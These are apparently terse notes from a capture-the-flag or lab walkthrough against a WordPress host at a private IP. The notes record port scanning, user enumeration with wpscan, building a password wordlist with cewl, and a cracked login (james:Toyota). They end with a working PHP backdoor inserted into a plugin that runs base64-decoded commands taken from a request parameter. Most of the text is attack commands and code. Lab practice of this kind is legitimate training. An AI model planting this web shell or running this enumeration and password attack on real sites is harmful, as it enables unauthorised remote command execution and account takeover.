> nmap -A

ftp with file:
```
- Finalize Wordpress permission changes - PENDING
- Update links to to utilize DNS Name prior to changing to port 80 - PENDING
- Remove LFI vuln from the other site - PENDING
- Reset James' password to something more secure - PENDING
- Harden the system prior to the Junior Pen Tester assessment - IN PROGRESS
```

> wpscan --url http://10.10.110.100:65000/wordpress --enumerate u

james

! rockyou too big :(

> cewl http://10.10.110.100:65000/wordpress/index.php/ >> small

james:Toyota

! add rce to plugin
```
add_action("wp_footer", "footer_rce");

function footer_rce() {
	system(base64_decode($_REQUEST["cmd"]));
}
```